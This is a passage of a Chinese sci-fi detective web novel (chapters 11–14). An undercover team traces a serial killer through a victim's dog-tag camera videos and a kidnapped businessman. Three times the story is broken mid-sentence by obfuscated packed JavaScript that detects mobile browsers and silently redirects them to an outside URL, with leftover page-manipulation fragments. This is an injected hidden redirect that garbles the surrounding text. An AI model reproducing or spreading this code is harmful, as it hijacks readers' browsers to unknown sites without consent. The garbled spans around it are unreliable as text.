本来只想眯一会儿小憩,不料因为太疲惫,她就这么沉沉睡去了。 机器人见状回到房间里,抱来一件毛毯为她盖上。 燕逸岫做梦梦到自己成功卧底进入了反派的邪恶组织,在组织中大展身手,顺利地一路晋升成为高层人员,一步步接近反派,没有引起任何怀疑。 揪住反派的狐狸尾巴已经胜利在望。 这一天反派举办三周年年会庆祝,大家吃好喝好,气氛一片祥和喜气。 反派本人因事务缠身没能来到现场,但还是开了视频与大家同乐。 燕逸岫等着对方露出自己的真面目,所以饭也没吃几口,频频朝大屏幕张望,等得很焦急。 这时候反派的心腹提议每个人发表一段十五分钟的入职感想,和大家说说掏心窝子话,也当是做个工作回顾,反思不足,肯定优点,激励自己今后更上一层楼,尽己所能地为组织发展壮大贡献更多力量。 大家毫不犹豫答应,都欢呼起来,跃跃欲试。 燕逸岫瞬间裂开。 演讲活动很快就开始了,每个人依次走上台,慷慨激昂,畅所欲言。 从个人能力、工作经历到公司发展,专业术语和高级句式一堆又一堆,逻辑清晰,条理分明,紧扣主题,说明自己的不足之处,剖析原因,提出解决方法,最后总结展望,升华主旨。 燕逸岫越听越破防,想偷偷溜走但门早已上锁了,无路可退,她只能缩在角落神经质地一遍遍咬嘴唇。 你们不是只打打杀杀的反派组织吗?为什么一个个都能侃侃而谈,连拍反派马屁也是自然流畅,不显刻意和做作。 最离谱的是,十几个人讲完,都没有一句是重复的,文字功底和情商可谓一流,仿佛全都打过什么职场生存情商PK巅峰赛。 到底上哪学来的?真的没报过考公面试班训练无领导小组和结构化面试吗? 果然宇宙的尽头是考公务员,哪个世界都是。 燕逸岫还没整理好混乱的思绪和心情,演讲就轮到她了。 11. 刺穿舌头的愤怒 她两腿打着哆嗦,硬着头皮走上去,看到底下黑压压几十张朝她微笑的面孔,两眼一黑几乎要晕倒。 她杵在台上干笑几声,努力回忆着刚才其他人的话,东拼西凑,结结巴巴地憋出了几句。 最后当然很快就被赶下来了,因为入职感想说不清楚,她的卧底身份败露,挨了一顿打后被处以车裂之刑。 任务以失败告终。 燕逸岫被吓醒,手脚并用想翻个身结果摔下了沙发,还把守在一旁的机器人撞倒。 06咕噜噜滚出去好几圈,碰到花盆减缓惯性冲劲,被弹开后又缓慢滚了几圈才终于停下来,大张着机械臂趴在地上。 还没完全清醒的燕逸岫只顾着自己起身,拍了几下心口深呼吸,顶着一头乱糟糟的短发原地神游。 这简直是她做过的最恐怖的噩梦。 机器人一动不动继续躺在地上,见燕逸岫半天没有反应,才用平常的冷静声音试图唤醒她的良心:“主人,救救我,没有腿,起不来。” “哦、哦哦,不好意思啊06……没磕坏吧?”燕逸岫赶紧小跑过去拎小孩似的把它扶起来站好,弯腰上上下下端详一遍检查。 她一下子给忘记了,06已经是属于比较古早版本的机器人了,被碰倒了没办法自己站起来。 超智能新款一样样层出不穷,什么功能都有,甚至还有可以任由买家随意捏脸重塑容貌的高级真人款机器人,渐渐的,很多旧版机器人都被打折卖掉拖回工厂销毁,成为热销新款们的零部件,不再生产。 但燕逸岫觉得06这款就已经很好了。 太逼真的机器人放在家里,有时候一转身看到一张人脸在后面,很容易吓得犯心脏病。 想起今天那挨了十发子弹变成废铁的机器人,她不禁怜爱地拍了拍自家机器人的肩。 06一直待在家,应该不会遭遇危险。 “谢谢主人,我这就为您准备晚餐,请选择今日菜单。” 身心俱疲的燕逸岫狠狠点了好几道肉菜来安抚自己饿扁的胃。 06忙碌准备晚饭期间,燕逸岫躺在沙发上,登陆姜韫给她的链接,确认欧徽已经回家,便把监控移到一旁挂着,边翻阅卷宗。 一阵阵饭菜香味从厨房飘出来,燕逸岫忍不住感慨高科技就是方便,属实是懒人福音。 机器人包揽全部家务活,菜品几乎三百六十五天不重复,垃圾有智能垃圾桶进行分解再生,根本不用出门倒。 燕逸岫觉得这样的生活简直太美好了,要是没有可怕的任务就更好了。 说曹操曹操到,系统在这关头将一份资料传到微系统上。 公安部门已经完成圆安河下游的打捞工作了,在天极区和天烁区交界处的河床底下找到了疑似凶器和失踪的舌头。 被河水泡得不成样的舌头被猎刀刺穿固定在中间,很明显表达出这是凶手情绪宣泄的讯息。 接着系统将公安部门和队员们收集到的线索整理到一块展示给大家。 1.江平延近期工作正常,继续执行公司年度经营计划,与员工开周会,向董事会汇报经营情况,参与面试了几位应聘者,出差与老客户谈生意。 2.江平延上周与朋友聊天时不经意提过一句刚认识的“贵人”,但社交媒体上没有查出他最近有与什么人结识联系,家人对此也不知情。 3.深入调查后确认江平延本人资金及其父母名下资金都没有异常流动。 4.无加班出差等情况下江平延每周末晚八点固定和朋友们聚餐。 5.家人朋友同事都描述江平延除了性格较急躁外没有其它作风问题,为人正直不贪图小便宜,大方心善,喜欢小动物。 6.尸体被发现时身上携带物品有烟盒、打火机、几片火锅店送的薄荷糖,头发上挂了一些水中的垃圾碎屑和草叶,衣领里夹着一片腾云竹的叶尖。 7.江平延下班后曾于17:27出现在距离圆安桥一公里左右的泉细街,只拍得到背影,监控中他举止正常,朝与家相反的方向步行,10秒后走出监控范围彻底消失。 8.江平延的“宙”于17:10起因不明原因失去讯号断联,死前最后联系的人是所在公司的副总经理,仅讨论工作事务。 9.根据不在场证明及动机已排除江平延家人、朋友、同事的嫌疑。 10.江平延网络使用记录显示他最近更关注养狗、最新款工作协助机器人和健身,删除的上网记录是七夕礼物、高档礼盒。 11.身边人证词以及芯片搜查结果都表明江平延没有对象,没有暧昧对象,也没有特别关注某个人的痕迹。 12.江平延在一个月前领养了一条边牧犬。 13.江平延没有写日记、在社交平台记录日常的习惯,家中没有相关线索。 14.江平延父母怀疑昨天下午似乎有外人闯入,掉在玄关地上的一根小头发位置和离开家前相比有所偏移,查监控后发现监控在下午突然故障断电,无法工作,好在无物品损坏失窃。 15.江平延死亡时间为晚上八点左右。 燕逸岫让机器人把饭菜端到客厅,她直接盘腿坐在地上边吃饭边浏览系统发布的内容。 17:10分他的“宙”就无法使用,但之后出现在监控里他给人的感觉却如同无事发生一样自然轻松,是没发现还是不在意?或者正是他主动切断讯号? 没有喜欢的人却开始频繁搜索七夕礼物和高档礼盒,还此地无银三百两地清除记录,似乎有点奇怪。 死亡时间在八点左右,在此之前长达两个半小时的时间中他到底去了哪里?又经历了什么? 燕逸岫搜索了腾云竹这个陌生的名称。 这是人工研究培育出来的特殊品种,叶基色深,往叶尖逐渐变淡,呈现渐变,叶片颜色会因季节、温度、湿度不同变化成绿色、红色、金色、白色,竹叶边缘形状为不规则波浪线状,竹叶层层叠叠,交错生长,风吹过时更如祥云流动,有招财如意事业腾飞的美好寓意,深受生意人喜爱。 不过因为培育成本高、耗时长,养护成本更高,目前一小株腾云竹苗就价值几十万。 腾云竹并非野生植物,江平延衣领里的腾云竹叶尖肯定不是在圆安河附近偶然沾到的。 或许是他去见了养得起腾云竹的嫌疑人,预感到自己有危险,才会趁其不注意掐下一截藏在衣领里,作为指认凶手的证据,引导警方调查方向。 江平延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564309|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家监控也好巧不巧在有人闯空门的时候损毁,显然又是反派的伎俩,他在下午悄悄潜入江平延家确认了没有留下什么会指向他的信息,才放心地杀了他。 燕逸岫往嘴里塞了一块糖醋肉,又翻出公安部门的相关报告。 河岸杂乱的脚印,江平延鞋底和身上的土壤草根,大范围渗入泥土还未干透的鲜血,被丢进河里的猎刀和舌头,被删除的监控,综合这些情况,警方判定圆安河岸是犯罪第一现场。 可圆安桥周围不算荒凉,时不时有人路过,为什么都没有人目击到人影或听到声音? 吃完饭后,燕逸岫鼓起勇气发信息询问姜韫有没有办法能带她进江平延家看看。 卷宗记录的前十八起案件资料里都没有出现过反派潜入被害者家的情况,他一直只在户外作案弃尸。 江平延或许和反派有什么特别的联系。 虽然反派已经去过一次,可能存留的证据都被带走销毁了,但燕逸岫还是想找找看。 姜韫很快回复了语音。她明天本就打算和警方工作人员一起去江平延家和他父母聊聊,搜索证据。 与破暗行动组合作后公安部门就给姜韫安排挂上了外省刑侦顾问的身份,方便她出入现场和随时掌握进度。 所以姜韫是行动组唯一一个一直暴露在明面,很容易被反派注意到而遭遇危险的成员。 她尽量安排其她人执行比较不显眼的任务,争取让大家的异世界身份隐藏得更久。 反派越晚发现就对我方越有利,所有队员也更安全。 “明天我会全程开着微系统录像并与大家连线通话,你有什么想看想问的直接告诉我,我替你查,好不好?你就待在家通过视频观察,如果渊知她们那边有了什么新线索,你再出门执行外勤。” “好,明白。” 燕逸岫有些忧心忡忡,犹豫了一会儿又打字问道:“反派已经发现你的身份了吗?” 姜韫在那头笑了起来,笑声轻快:“早就发现了,还早就已经追杀过了。” 燕逸岫的心顿时提到了嗓子眼。 “不过嘛……毕竟我本来就是刑侦队的,没那么容易被抓住弄死,最后想办法逃脱了。” “那明天还是多带几个警员一起去比较安全吧?” “有五个人一起去,放心吧,不会有事的。” “好,队长注意安全。” “你也是。” 发完消息,燕逸岫一下下拨着碗里的饭粒,转头望向窗外的夜幕,思绪飘远。 睡前,她躺在床上将几张图片拉出屏幕,专心致志盯着。 血画的子宫婴儿图,划烂的嘴,割下的舌头,泡在水里的脑袋,胸口的十字形刀伤。 无一不透露着某种强烈的情绪。 除了作案标志的婴儿图案,其它四样放在一起联想,似乎是想表达祸从口出的意味? 燕逸岫发散思维思考着各种可能,不知不觉就这么睡着了。 结果第二天早上一睁眼看到近在眼前的嘴被划烂的惨白面孔,燕逸岫瞬间被吓清醒,意识到是照片后才长舒一口气闭上眼睛。 时间还没到她设定闹钟的八点,离姜韫出发前往江平延家还有两个多小时。 12. 小狗保管着的证据 她起床迅速洗漱收拾,把有关江平延案件的资料全部再过一遍,趁着还有时间,又调出以往卷宗继续阅读。 夏日的热气在早晨就开始渗入门窗墙壁侵袭室内,悄无声息将人一寸寸包围。 姜韫伸手敲门。 门一点点打开,露出两张悲伤疲惫的脸庞。唯一的孩子惨遭杀害曝尸河边,父母一夜之间头发几乎半白。 江平延父亲把门开大让警方人员入内。 燕逸岫透过视频能看到那两人的衣服飘晃几下,似乎是来自走廊的风在往里吹。 一条三个多月大的陨石边牧站在玄关中央。它清亮的眼眸注视着进入屋中的这几个人,下一刻忽然毫无征兆地开始对着姜韫狂吠。 小猫小狗似乎能嗅出有的人并非属于这个世界,姜韫在新世界待得久了,早已见怪不怪,她假装没注意,无视小狗的反应和众人一起大步走进客厅观察环境。 警员们表达了自己的惋惜和哀悼,等江平延父母稍稍平静下来了才开始询问疑似闯空门的细节。 姜韫征得了两人同意,戴上手套走进江平延的房间进行检查,边听着客厅传来的说话声。 房间里陈设简单整洁,东西都分类整理摆放清楚。 前天晚上处理完案发现场后,警方已经派过一队工作人员到江平延家搜集线索提取指纹和DNA。 结果正如所有人预料,没有陌生指纹留下,也没有发现不寻常的东西。 血符连环杀手被判断为随机杀人,正是因为没有与被害者们产生太多关联,以往搜查被害人家也都一无所获。 但这起案件似乎有所不同,所以姜韫向警方申请了第二遍搜查。 她先打开衣柜,一件件摸索翻找是否夹着或藏着什么东西,最后只从羽绒服口袋翻出一个压岁钱红包,里面只有一沓钱,没有放别的。 “他是个好孩子,从小到大都很乖,也没有和什么人结仇,现在工作赚钱了,几乎都转给我们用,还会抽空带我们俩旅游,过年还给我们发压岁钱,他、他怎么会……” 江平延母亲再次抽泣,说不下去了。 桌面上放着一些日用品、护肤品还有家庭常备药箱,姜韫从警员工具箱取出仪器扫描分析成分,没有发现异常药物残留。 桌角还摆放着一家人的合照,旁边新添了两个崭新的相框,里面是小狗在户外玩耍奔跑的照片。 “小延一直想养狗,但是我和她嫌狗会拆家、狗毛到处粘不好清理,所以没同意,上个月我们还是答应了,和他一起去挑了一只小狗……小延可高兴了,每天对着陨石说话陪它玩。” “早知道……早知道会这样……我就该早点答应让他养,他就能开心更久了,能亲自看着小狗长大……” 姜韫拆开相框背后检查,翻开书架上仅有的几本书一页页浏览。 她又拿出探测仪扫描房间里的空调、插座、桌板、墙壁、地板还有窗帘杆等地方,均未检测出安装过监视器和窃听器的痕迹。 “小延在外面出了那种事,所以我们没有关注家里的监控,我们在这里安安稳稳生活了几十年,一直不怎么查监控,那天看到掉在角落的头发位置移动了十几厘米,还以为自己想多了。” “后来因为小延出事我们一下子也顾不上别的,昨晚突然记起来,越想越觉得不对劲,就调了监控看看,没想到监控居然刚好在那时候坏掉了。” 姜韫把仪器放回工具箱中。 “为什么看到地上头发移动了会怀疑有人潜入?那个贴墙的角落看着不像有人出入大门会踩到的地方。”同样正在看实时录像的乔琅不解地问道。 “是风。”季渊知的声音从另一端传来。 “他家这个方位,公共走廊一般都有风穿进来,内部格局没有门窗与大门相对,这么深的玄关两侧都是墙壁,不会有风从左右两边拐弯吹进来。” “如果出门时看到头发在这个位置,回家后发现位置往里移动了很多,说明在这期间还有人打开过门,又有一阵风吹进去了。” “没错,”姜韫把房间窗帘拉上,关上门,阻隔一切光线,“虽然关门时也会带起一点风,但不至于让头发飞得太远,当然也有可能就是潜入的人碰巧踩到了那里。” 她站在黑暗的房间里,打开了多功能灯仔细照房间里的每样物品每个角落。 没有隐形笔写下的字句,没有喷撒溅落的血液反应。 房间地板她也一片片摸索敲击过,没有异常。 这间房间,确实只是普普通通的房间。 于是姜韫打开房门走到外面检查。 毫无线索。燕逸岫皱着眉盯紧视频,绞尽脑汁思考,将耳边的头发在手指上缠了一圈又一圈。 不在社媒分享,不写日记,也不和家人朋友聊太多关于自己的事。 江平延的生活状态其实很像她自己,她也不喜欢表达内心的想法,不喜欢透露给别人,无论是认识的朋友还是不认识的网友,她从来都更偏向于自我分析消化解决。 燕逸岫尝试把自己代入这一情境开始推测。 江平延显然还是比她更外倾一些,不属于完全不表达的类型,如果是她的话,除了这些,还可能在什么地方留下线索?还愿意在什么情况下将心里话说出口? 如果是她的话…… 炙热的光和空气闷在屋里,让燕逸岫鼻尖冒汗,她坐在地上,换了个姿势继续望着屏幕。 接着,她注意到在家中跑来跑去的小狗,视线追随了它好一会儿,慢慢睁大双眼。 “队长,那只边牧……”燕逸岫犹疑地开了口,虽然只有她一个人对着屏幕说话,但她还是紧张得红了脸,“小狗脖子上挂的铭牌里说不定有宠物陪伴芯片。” “我刷到过芯片广告,它是最新款的产品,可以监测体重心跳血压健康状况,还能录音录像,随时记录宠物的成长,江平延那么喜欢小狗,他爸妈也提到他会对小狗说话,没准里面就有线索。” 姜韫立刻转身看向正咬着玩具在客厅玩的边牧,它脖子上银色的铭牌在阳光下折射出刺眼的光芒。 “前天监控坏掉的那段时间,小狗在哪里?”她出声询问。 “我们带它出门了,遛完顺便送它去宠物店洗澡……” 也就是说,如果里面有讯息,反派也没有机会消除。 姜韫示意江平延父母把小狗脖子上的铭牌暂时摘下来让警方检查。 江平延的“宙”作为证物还存放在警局,好在他设置了权限,他的双亲也可以扫描登录,以便拍摄小狗的影音。 果然,登录上之后,江平延母亲的电子屏幕上弹出好几页视频。 姜韫点开第一个开始看。 边牧出现在屏幕里,摇晃着尾巴,兴奋地嗅着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564310|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前的一只手。 “陨石,你是最聪明的小狗。” 江平延欢欣的声音从视频中传出,他的父母瞬间泪如雨下,别过脸哽咽。 名叫陨石的小边牧听到熟悉的声音,飞快地竖起耳朵,围着浮在空中的屏幕打转,很是激动。 “看我手势——坐,太聪明了陨石,你怎么这么聪明呀,奖励两块小零食,来我们再练下一个……” …… “我最近认识了一位贵人,他很欣赏我,还打算挖我去他的公司工作,薪资待遇比现在更好,不过公司稍微远了点,加班比较多,可能带你出门玩的时间就少了,你觉得爸爸要不要去?” 这是两周前的视频,江平延再次提到了神秘的贵人。 “他不像在外面展现得那么严肃,其实很亲切,还邀请我周末一起打高尔夫球。我想想啊,白天打高尔夫球,晚上和润哥他们聚餐,这周末好忙,可能没有太多时间带你出门玩了。” “打高尔夫球还是很有意思的,今天也和他聊了很多,我真佩服他的见识和思想,我打算等手头这个大项目完成就辞职,跳槽去他的公司工作,放心吧,以后我也会尽量多挤出时间陪你玩的。” 姜韫依次播放视频,直到最后一个。 录制时间在前天早上八点半,距离江平延死亡还有十二小时左右。 画面里的小狗无精打采趴在地上,尾巴却焦躁不安地摇晃着,江平延怎么逗它都没变化。 “昨晚开始陨石有点蔫蔫的,难道生病了吗?线上问诊了,但医生都说没什么问题……快快好起来我的陨石……” “好啦不要咬我的裤脚了,爸爸要去上班了,陨石你要乖乖听话哦,在家不要吵爷爷奶奶,我晚上回来就陪你玩,给你带好吃的肉,好不好?不可以调皮咬坏我的裤子——拜拜——” 可惜他再也不会回来了。 随着最后一个视频结束,黑暗如死水一般淹没屏幕。 失去孩子的父母跌坐在沙发上捂着脸痛哭,另一边手紧紧相牵相扣。 陨石似乎意识到刚才听到的只是声音,不是江平延本人回家了,再次蔫了下去,趴在他们脚边,耷拉着耳朵呜咽几声。 姜韫也不忍地叹了一声气,默默提醒警员将这些视频作为证据备份下来传回警局,她也传了一份给系统。 “这个所谓的贵人很可疑,大概率是某公司老板,而且一起打过高尔夫球,怀霖,你查下A省所有高尔夫俱乐部,锁定上周末,看看哪家有江平延的预约和登记记录。” 她走到窗边,压低声音和队员联系。 很快廖怀霖回复:“奇怪,都没有江平延的登记信息。” “那就黑了它们的监控把上周日的全部拷一份给乔琅,再把当天所有俱乐部人员登记名单发给渊知进行调查筛选,缩小范围。” “没问题。” 研究组队员全都争分夺秒行动起来。 结束这轮的搜证工作后,姜韫和警员离开了江平延家。 汇报情况的工作有警员负责,姜韫就站在小区外打了车准备直接回家和队友们联络。 这时她才发现录像还在运行,于是打了声招呼关闭界面。 下一刻燕逸岫发来一条语音,语气有些焦急不安。 “等等队长,可能是我的错觉,对面的大厦里好像有人一直在往你这儿看。” 13. 被绑架的一家四口 姜韫眯了眯眼,顿时想通了其中弯绕。 她仍然站在原地,神态自若接起燕逸岫打来的视频,不见丝毫慌张,正常地目视前方:“原来是这样啊。” “什么?” 小车正好到了,姜韫上了车才向她解释:“反派跑到江平延家,不只是为了消灭证据,还为了引蛇出洞,因为他知道我一定会去找有关他的线索。” “这样一来,就能轻易定位进行监视,掌握我来回的路线,准备埋伏解决掉我。” “看来是昨天我们也断监控让他查不到的做法激怒他了,他又开始盘算除掉我们这些障碍。”姜韫扯了扯嘴角嗤笑。 她边说边滑动地图,随机选择人流密集的区域改为目的地:“原来他自己也明白这种手段会激怒人啊,他耍了那么多次花招,轮到我们试试怎么了,这么玩不起。” 原先只有1队五人在查案的时候,她们考虑到反派可能有系统的情况,所以行事万分低调,不随意动用我方系统做出张扬的事致使反派警觉,以免他犯案更加小心,不留任何痕迹。 可惜最后还是被反派发现了,开始赶尽杀绝。 既然已经暴露了,2队加入重启行动后她便允许队友明目张胆使用系统能力给反派添堵,没想到只是第一次就让他坐不住了。 听她语气仍然轻松,燕逸岫紧张得在客厅走来走去,心急如焚:“那现在怎么办?先回小区里躲着?还是从地下车库走?” “别担心,他不会在大庭广众之下杀人的,他只是在确定我的行踪,好制定详细计划,寻找到最佳时机,现在还不是时候。” “之前1队的两名队员就是这么牺牲的,我也被跟踪过两三回,都躲过去了,没有暴露位置,不过今天我确实没有察觉,你是怎么发现的?” 燕逸岫一噎,吞吞吐吐回答:“只是一种感觉,录像拍到了对面的大厦,我就突然有种某人正在透过缝隙观察这边的异样感,也可能是昨晚队长你提到自己早就被反派查出来了所以我有点疑神疑鬼……” “我相信你的判断,而且也是你想到了小狗铭牌里有线索,真的很敏锐,还好有你在。”姜韫说得笃定,声音里带着笑意。 燕逸岫停下脚步,站在盆栽前愣神,沉默几秒后揭过了这个话题:“队长你现在要去哪?” 她不太习惯被夸赞和肯定,总觉得有些别扭,害怕别人期待太高,如果以后自己出了什么差错没做好,她们也会因此大失所望。 姜韫转头望向车窗外飞速后退的街景:“去繁华市中心兜几圈,再从地下城走,我有办法甩掉跟踪,你别担心,他不会选择这种地方杀人的。” “在人多的地方出手容易被目击到,你分析过卷宗了也看得出来,反派非常谨慎,哪怕他有系统辅助也毫不放松。” “所以我一直对警方的结论持保留态度,他不是那种随随便便看见谁就决定杀谁的连环杀手,他的犯罪计划十分周全,明显做过充分准备,加上那个用血画的子宫婴儿图案,我认为被害人之间一定有某种我们暂时还看不出的关联。” “那你觉得反派是那类会主动介入调查了解警方进度的人吗?”燕逸岫问道。 “不太可能,他自信但不自负,极其谨慎细心,会随时删除任何有可能牵扯上他的证据,也不挑衅激怒警方,不跳出来向人们宣扬这些是自己的杰作。” “关于完美犯罪的界定,基本上分成两种看法,一部分人认为找不到嫌疑犯的是完美犯罪,另一部分人认为明知道凶手是谁但没有任何确切证据能判其有罪的才是完美犯罪。” “反派明显属于前者,他不会希望自己被警方注意到,哪怕证据都已经被清除了。” 燕逸岫点点头,摸着下巴沉吟,本想再问点什么,这时群里弹出了乔琅的消息。 “上周日所有俱乐部里的监控都没有拍到江平延的身影。” 怎么会这样? 燕逸岫伸手抚摸盆栽的叶片,边凝神思考。 江平延给小狗录视频时明明提到了他们已经一起去打过高尔夫球了。 “那就是不对外开放的私人高尔夫球场了。”姜韫连上群视频后出了声。 “渊知,直接筛查A省所有带高尔夫球场的豪宅,并且房主有公司的,怀霖看看能不能找到上周末有接待客人的记录和监控视频,这群人设置的安保系统很高级,你仔细些。” “好,队长放心。” “还有腾云竹!”燕逸岫连忙补了一句,“家里有腾云竹的,江平延衣领里夹的叶尖说不定就是他留下的讯息。” “没问题。” 姜韫顺便在队内群发送信息简略地描述了今天情况,要求接下来几天全体成员不集合、不私下见面,如有需要则单独展开调查活动,用微系统联系队友,外勤行动切记小心,不要让反派方留意到可疑人员在人证物证相关的地方晃悠打听。 做完这些后,她开门下车,步行从商场负一层进入地下城。 地下城差不多算是贫民区,无数穷人白天在地面上工作,晚上住在地下黑暗狭小的楼房里。 道路边则是其中一些人盘下的店面和小摊,靠做些小生意维持生计,希望有朝一日攒够钱能买得起地面上的房子,住进充满温暖阳光的地方。 虽然是贫民驻扎地,但地下城干净整洁,治安总体良好,灯火彻夜通明,因为每天都有地面上的人穿梭往来,或是批发便宜商品,或是到鬼市游玩,或是进入隐藏在地下城角落的钱庄和赌场。 姜韫环顾热闹的街道,往右走钻进人群消失在其中。 “查到了,符合条件的有三个人,其中两人上周日白天都不在家,剩余这个人上周六日家中监控都暂停工作了,查不到内容。”几分钟后,季渊知将资料汇总发到群中。 “这么可疑,是谁?” “霆雩集团的老总万德一。” “好像在哪听过……”温簌迟疑着嘀咕,“啊想起来了,昨天我去跟踪的时候有路过这栋大厦,也在天均区,那么这回需不需要我伪装身份找机会和这位老总接触接触?” “可能没办法。”视频那端廖怀霖的语气忽然变得严肃。 “我现在正在翻看,万德一的家人好多天没出现在家中的监控里了,所以我黑进他妻子还有别墅管家等人的芯片查找相关信息,发现这家人的情况比昆隐棋还麻烦。” 万德一全家四人在两周前就遭遇绑架不知所踪,期间只有万德一一个人白天回来过几次,正常处理公司事务,晚上又消失不见。 他的妻子和孩子们在昨天被放回来了,但万德一再次失踪断了音讯,而且廖怀霖一直搜索不到他的芯片。 听到这些,燕逸岫心中震惊,眉头皱得更紧。 又是失踪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564311|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜韫此时已经乘坐小车离开了地下城,在十字路口等绿灯时,她扭头正好看见一旁大楼巨大电子屏上播放着霆雩集团的广告。 “万德一的家人在江平延死亡第二天被放回来了?看来这回反派是用绑架的手段胁迫万德一接近江平延,拉近关系后将人引到某个地方方便他动手。”姜韫很快理顺思路。 这仍然是反派惯用的手法,他不直接参与,而是指使某人和目标接触,将目标引到某个指定地方后,他才出现亲自动手。 笔迹专家做过鉴定,每个凶案现场的血画的图案都是同一个人所画。 这一点反派并不多加掩饰隐藏,而是明晃晃告诉所有人这个符号于他而言有重要意义,必须由他亲自画下。 燕逸岫也反应过来,那块被掐下来的细小腾云竹叶尖,应该不是江平延留下的死前讯息,而是被逼无奈带他走向死亡的万德一暗中留下的求救信号。 他希望警方在后续验尸时能发现这片本不应该出现的稀有腾云竹叶,能通过它综合其余线索找到自己。 那时候,万德一可能已经预料到自己凶多吉少,即使完成了反派的要求也不会被轻易放走。 燕逸岫把盆栽放到阳台沐浴日光,返回屋里打开微系统将万德一的信息资料补充进她梳理的线索图中。 看着上面的一个个人名一条条信息,她开始觉得有些头痛。 没能取得多少进展,反而跌进了越来越浓的迷雾中。 又有一个人失踪了,目前生死不明。 反派想解决掉的目标已经死亡,他放走了其她人,却唯独留下万德一,如果是已经杀人灭口了,这和他以前的犯案模式有所不同,如果是继续囚禁他,那又是为了什么? 全家遭绑架,这么严重的事情,居然瞒得一点风声都没有,其她人被放回来后也不曾联络警方。 “还有,我也看了监控,”乔琅将镜头转向分屏幕上的监控视频让大家都能看清,“万德一的家人可能还在遭受胁迫。” “她们独处时都在哭,还有频繁打着一个始终无人接听的电话,但她们又仍然在外人面前谈笑风生,假装什么事都没发生,你们看,桌上那堆,是宴请宾客的名单。” “她们居然在这关头要在家里举办生日宴会,这也太诡异了。” “什么时候?” “后天,看样子是大型聚会,会有很多很多人去。” 后天是万德一小女儿的八岁生日。 看来是要去一回探探情况了。燕逸岫把碎发挽到耳后,拿起桌上的玻璃杯喝水,深呼吸平复情绪。 果然,姜韫出声问道:“逸岫,欧徽今天什么情况?” “他昨天从对方那里拿到了一笔钱,回家后到现在一直没出过门,我正看着他。” “好,欧徽那边交给我跟,你后天混进聚会里想办法接近万德一家人身边,收集情报了解到底发生了什么,注意不要暴露你已经知道她们被绑架过的情况。” “好,要怎么混进去?” “这个等我回家后处理,我晚些再和你详说。” “明白。” 应完后见没了下文,燕逸岫心里顿时有了不好的预感,她纠结了一会儿,凑近屏幕试探性小声问道:“呃……就、就我一个人……去……吗?” “对。” 晴天霹雳。 14. 小女儿的生日愿望 燕逸岫顿觉生无可恋。 让她待在那么多人的聚会里,而且她一个都不认识,简直不敢想象那会是多尴尬窒息局促的场景。 “目前不清楚反派方是不是正监视着这家人,毕竟反派对1队人员比较了解,易容了也不一定能蒙混过关,所以还是派2队新面孔去比较保险,躲避和潜伏你比较擅长,这个任务就交给你来,尽力就行,察觉到危险就及时撤退。” “好……” 之后姜韫给其她人安排任务说的内容燕逸岫已经听不见了,她面壁抱膝蹲在地上,往前倾让头顶住墙壁,盯着垂下的黑发在空中晃晃悠悠。 还好宴会是在后天,她还有时间好好消化调理,做好心理准备。 这两晚肯定要失眠了。 06充完电回到客厅,就看见燕逸岫像个蘑菇一样蜷在墙角静止不动,宛如石化。 不一会儿她又猛地抬起头,揪起窗帘布神经质地来回卷布角,神神叨叨:“没事的没事的没事的,出丑又怎么样,反正没人认识我,出了什么情况大不了就是一死,这有什么的,没事的没事的没事的没事的我能行我能行我能行我能行我能行怎么办怎么办怎么办怎么办怎么办哈哈哈死了算了死了算了死了算了没问题的我没问题我没问题……” 看起来好像真的有点问题,06转身回房间,打算拿点镇静药物给她服用。 这时系统发来一份资料,附着姜韫的备注。 “出发前熟悉熟悉这份资料,应付宴会就没问题。” 燕逸岫连忙打开一行行浏览内容,越看越惊讶。 为了方便来自异世界的成员行事,有可靠的后路和可以随时替换的身份,系统在全国各地收购公司以及创办新公司,所有高层、基层职员流动、经营决策等事项都由系统操作。 祂伪装成不同的神秘权贵,隐藏在最深处,同时掌控和维护着全国各地属于祂的资产和人脉,以便需要时能帮助到破暗行动组成员。 系统的大头产业主要在机器人科技、无人驾驶智能车和房地产领域,因此她们的住所、随时更换的集合地、接送的小车还有家中的机器人都是系统直接从自己的公司中安排,安全性极高,不会被安装窃听和监控装置,万一有变故也能马上更换。 其中一家机器人科技公司与霆雩集团有长期合作关系,也在霆雩集团生日宴会受邀名单上,所以系统可以随意安排赴宴人选。 系统在这家公司的假身份是徐总,她的女儿名叫徐燃。 燕逸岫将套上徐燃的身份出席后天的宴会。 为徐总和徐燃设定的基本身份信息、住所、喜好等也都详细罗列其中,以便行动组成员尽快熟悉扮演的角色。 看到这些密密麻麻的内容,燕逸岫坐到地上,稍稍松了一口气。 突然感觉人生还是有一点希望的。 